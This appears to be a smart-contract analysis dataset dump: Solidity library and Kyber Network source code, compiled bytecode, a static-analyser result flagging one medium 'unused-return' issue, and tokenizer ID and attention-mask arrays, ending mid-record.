* * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806391d148541161008c578063ca15c87311610066578063ca15c8731461037e578063d2c04f43146103c0578063d547741f146103ee578063fad3cc4b1461043c576100cf565b806391d14854146102dc578063a217fddf14610342578063a261dc9e14610360576100cf565b8063248a9ca3146100d45780632e1a7d4d146101165780632f2ff15d1461014457806336568abe1461019257806355d28f20146101e05780639010d07c14610264575b600080fd5b610100600480360360208110156100ea57600080fd5b810190808035906020019092919050505061049e565b6040518082815260200191505060405180910390f35b6101426004803603602081101561012c57600080fd5b81019080803590602001909291905050506104bd565b005b6101906004803603604081101561015a57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da1565b005b6101de600480360360408110156101a857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2a565b005b610262600480360360608110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ec3565b005b61029a6004803603604081101561027a57600080fd5b8101908080359060200190929190803590602001909291905050506110f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610328600480360360408110156102f257600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611122565b604051808215151515815260200191505060405180910390f35b61034a611153565b6040518082815260200191505060405180910390f35b61036861115a565b6040518082815260200191505060405180910390f35b6103aa6004803603602081101561039457600080fd5b8101908080359060200190929190505050611164565b6040518082815260200191505060405180910390f35b6103ec600480360360208110156103d657600080fd5b810190808035906020019092919050505061118a565b005b61043a6004803603604081101561040457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611295565b005b61049c6004803603608081101561045257600080fd5b81019080803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131e565b005b6000806000838152602001908152602001600020600201549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638631850d826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561053057600080fd5b505afa158015610544573d6000803e3d6000fd5b505050506040513d602081101561055a57600080fd5b81019080805190602001909291905050506105dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f626f6e6420746f6b656e20696420646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b60006105e7611544565b9050600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c7a63ae856040518263ffffffff1660e01b81526004018082815260200191505060606040518083038186803b15801561065f57600080fd5b505afa158015610673573d6000803e3d6000fd5b505050506040513d606081101561068957600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505092505091506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e866040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d602081101561075257600080fd5b8101908080519060200190929190505050905060008473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161490508061096357600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b23bc7d7866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561083c57600080fd5b505afa158015610850573d6000803e3d6000fd5b505050506040513d602081101561086657600080fd5b81019080805190602001909291905050506108e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f75736572206973206e6f7420616c6c6f7765640000000000000000000000000081525060200191505060405180910390fd5b60055483014211610962576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f636c61696d20706572696f64206973206e6f742066696e69736865642079657481525060200191505060405180910390fd5b5b83600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a0357600080fd5b505afa158015610a17573d6000803e3d6000fd5b505050506040513d6020811015610a2d57600080fd5b81019080805190602001909291905050501015610ab2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f6e6f7420656e6f75676820455552786220746f2077697468647261770000000081525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac86866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610b5b57600080fd5b505af1158015610b6f573d6000803e3d6000fd5b5050505042831115610c1157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634645187785856040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015610bf857600080fd5b505af1158015610c0c573d6000803e3d6000fd5b505050505b80610d0c57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e8387896040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610cf357600080fd5b505af1158015610d07573d6000803e3d6000fd5b505050505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68876040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610d8157600080fd5b505af1158015610d95573d6000803e3d6000fd5b50505050505050505050565b610dc760008084815260200190815260200160002060020154610dc2611544565b611122565b610e1c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611963602f913960400191505060405180910390fd5b610e26828261154c565b5050565b610e32611544565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610eb5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806119c2602f913960400191505060405180910390fd5b610ebf82826115df565b5050565b6001809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f03611544565b73ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f75736572206e6f7420616c6c6f77656420746f20696e697469616c697a65000081525060200191505060405180910390fd5b600160009054906101000a900460ff161561100f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f636f6e747261637420616c726561647920696e697469616c697a65640000000081525060200191505060405180910390fd5b82600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060006101000a81548160ff021916908315150217905550505050565b600061111a8260008086815260200190815260200160002060000161167290919063ffffffff16565b905092915050565b600061114b8260008086815260200190815260200160002060000161168c90919063ffffffff16565b905092915050565b6000801b81565b6000600554905090565b60006111836000808481526020019081526020016000206000016116bc565b9050919050565b6112197319e1d1071eff086649e7dddf634d0f1490cb8fd563f851a4406040518163ffffffff1660e01b815260040160206040518083038186803b1580156111d157600080fd5b505af41580156111e5573d6000803e3d6000fd5b505050506040513d60208110156111fb57600080fd5b8101908080519060200190929190505050611214611544565b611122565b61128b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f75736572206973206e6f742061646d696e00000000000000000000000000000081525060200191505060405180910390fd5b8060058190555050565b6112bb600080848152602001908152602001600020600201546112b6611544565b611122565b611310576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806119926030913960400191505060405180910390fd5b61131a82826115df565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661135f611544565b73ffffffffffffffffffffffffffffffffffffffff16146113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f63616c6c6572206973206e6f7420616c6c6f77656420746f206465706f73697481525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1982856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635bc2cc7984846040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561152657600080fd5b505af115801561153a573d6000803e3d6000fd5b5050505050505050565b600033905090565b611573816000808581526020019081526020016000206000016116d190919063ffffffff16565b156115db57611580611544565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6116068160008085815260200190815260200160002060000161170190919063ffffffff16565b1561166e57611613611544565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60006116818360000183611731565b60001c905092915050565b60006116b4836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6117b4565b905092915050565b60006116ca826000016117d7565b9050919050565b60006116f9836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6117e8565b905092915050565b6000611729836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611858565b905092915050565b600081836000018054905011611792576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806119416022913960400191505060405180910390fd5b8260000182815481106117a157fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b60006117f483836117b4565b61184d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611852565b600090505b92915050565b6000808360010160008481526020019081526020016000205490506000811461193457600060018203905060006001866000018054905003905060008660000182815481106118a357fe5b90600052602060002001549050808760000184815481106118c057fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806118f857fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061193a565b60009150505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e74416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a264697066735822122076341bce1531ecb426053e4595c1bc4257df43d62b59a42facf35b2e28185c6d64736f6c63430006030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2683, 2549, 2063, 2692, 24594, 2549, 2278, 17465, 2063, 2629, 11057, 22025, 10790, 2620, 22414, 23352, 2620, 2094, 2692, 24434, 23777, 2546, 2487, 2063, 2620, 2620, 2063, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 3229, 8663, 13181, 2140, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 23561, 2015, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 24264, 7174, 13668, 2923, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,689
0x958ad8223700a4fa4d77a93e3cfbaf29245ec743
// File: contracts/sol6/IERC20.sol pragma solidity 0.6.6; interface IERC20 { event Approval(address indexed _owner, address indexed _spender, uint256 _value); function approve(address _spender, uint256 _value) external returns (bool success); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function balanceOf(address _owner) external view returns (uint256 balance); function decimals() external view returns (uint8 digits); function totalSupply() external view returns (uint256 supply); } // to support backward compatible contract name -- so function signature remains same abstract contract ERC20 is IERC20 { } // File: contracts/sol6/IKyberReserve.sol pragma solidity 0.6.6; interface IKyberReserve { function trade( IERC20 srcToken, uint256 srcAmount, IERC20 destToken, address payable destAddress, uint256 conversionRate, bool validate ) external payable returns (bool); function getConversionRate( IERC20 src, IERC20 dest, uint256 srcQty, uint256 blockNumber ) external view returns (uint256); } // File: contracts/sol6/utils/Utils5.sol pragma solidity 0.6.6; /** * @title Kyber utility file * mostly shared constants and rate calculation helpers * inherited by most of kyber contracts. * previous utils implementations are for previous solidity versions. */ contract Utils5 { IERC20 internal constant ETH_TOKEN_ADDRESS = IERC20( 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE ); uint256 internal constant PRECISION = (10**18); uint256 internal constant MAX_QTY = (10**28); // 10B tokens uint256 internal constant MAX_RATE = (PRECISION * 10**7); // up to 10M tokens per eth uint256 internal constant MAX_DECIMALS = 18; uint256 internal constant ETH_DECIMALS = 18; uint256 constant BPS = 10000; // Basic Price Steps. 1 step = 0.01% uint256 internal constant MAX_ALLOWANCE = uint256(-1); // token.approve inifinite mapping(IERC20 => uint256) internal decimals; function getUpdateDecimals(IERC20 token) internal returns (uint256) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint256 tokenDecimals = decimals[token]; // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if (tokenDecimals == 0) { tokenDecimals = token.decimals(); decimals[token] = tokenDecimals; } return tokenDecimals; } function setDecimals(IERC20 token) internal { if (decimals[token] != 0) return; //already set if (token == ETH_TOKEN_ADDRESS) { decimals[token] = ETH_DECIMALS; } else { decimals[token] = token.decimals(); } } /// @dev get the balance of a user. /// @param token The token type /// @return The balance function getBalance(IERC20 token, address user) internal view returns (uint256) { if (token == ETH_TOKEN_ADDRESS) { return user.balance; } else { return token.balanceOf(user); } } function getDecimals(IERC20 token) internal view returns (uint256) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint256 tokenDecimals = decimals[token]; // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if (tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDestAmount( IERC20 src, IERC20 dest, uint256 srcAmount, uint256 rate ) internal view returns (uint256) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount( IERC20 src, IERC20 dest, uint256 destAmount, uint256 rate ) internal view returns (uint256) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } function calcDstQty( uint256 srcQty, uint256 srcDecimals, uint256 dstDecimals, uint256 rate ) internal pure returns (uint256) { require(srcQty <= MAX_QTY, "srcQty > MAX_QTY"); require(rate <= MAX_RATE, "rate > MAX_RATE"); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty( uint256 dstQty, uint256 srcDecimals, uint256 dstDecimals, uint256 rate ) internal pure returns (uint256) { require(dstQty <= MAX_QTY, "dstQty > MAX_QTY"); require(rate <= MAX_RATE, "rate > MAX_RATE"); //source quantity is rounded up. to avoid dest quantity being too low. uint256 numerator; uint256 denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } function calcRateFromQty( uint256 srcAmount, uint256 destAmount, uint256 srcDecimals, uint256 dstDecimals ) internal pure returns (uint256) { require(srcAmount <= MAX_QTY, "srcAmount > MAX_QTY"); require(destAmount <= MAX_QTY, "destAmount > MAX_QTY"); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS, "dst - src > MAX_DECIMALS"); return ((destAmount * PRECISION) / ((10**(dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS, "src - dst > MAX_DECIMALS"); return ((destAmount * PRECISION * (10**(srcDecimals - dstDecimals))) / srcAmount); } } function minOf(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } } // File: contracts/sol6/utils/PermissionGroupsNoModifiers.sol pragma solidity 0.6.6; contract PermissionGroupsNoModifiers { address public admin; address public pendingAdmin; mapping(address => bool) internal operators; mapping(address => bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint256 internal constant MAX_GROUP_SIZE = 50; event AdminClaimed(address newAdmin, address previousAdmin); event AlerterAdded(address newAlerter, bool isAdd); event OperatorAdded(address newOperator, bool isAdd); event TransferAdminPending(address pendingAdmin); constructor(address _admin) public { require(_admin != address(0), "admin 0"); admin = _admin; } function getOperators() external view returns (address[] memory) { return operatorsGroup; } function getAlerters() external view returns (address[] memory) { return alertersGroup; } function addAlerter(address newAlerter) public { onlyAdmin(); require(!alerters[newAlerter], "alerter exists"); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE, "max alerters"); emit AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function addOperator(address newOperator) public { onlyAdmin(); require(!operators[newOperator], "operator exists"); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE, "max operators"); emit OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } /// @dev Allows the pendingAdmin address to finalize the change admin process. function claimAdmin() public { require(pendingAdmin == msg.sender, "not pending"); emit AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } function removeAlerter(address alerter) public { onlyAdmin(); require(alerters[alerter], "not alerter"); delete alerters[alerter]; for (uint256 i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.pop(); emit AlerterAdded(alerter, false); break; } } } function removeOperator(address operator) public { onlyAdmin(); require(operators[operator], "not operator"); delete operators[operator]; for (uint256 i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.pop(); emit OperatorAdded(operator, false); break; } } } /// @dev Allows the current admin to set the pendingAdmin address /// @param newAdmin The address to transfer ownership to function transferAdmin(address newAdmin) public { onlyAdmin(); require(newAdmin != address(0), "new admin 0"); emit TransferAdminPending(newAdmin); pendingAdmin = newAdmin; } /// @dev Allows the current admin to set the admin in one tx. Useful initial deployment. /// @param newAdmin The address to transfer ownership to. function transferAdminQuickly(address newAdmin) public { onlyAdmin(); require(newAdmin != address(0), "admin 0"); emit 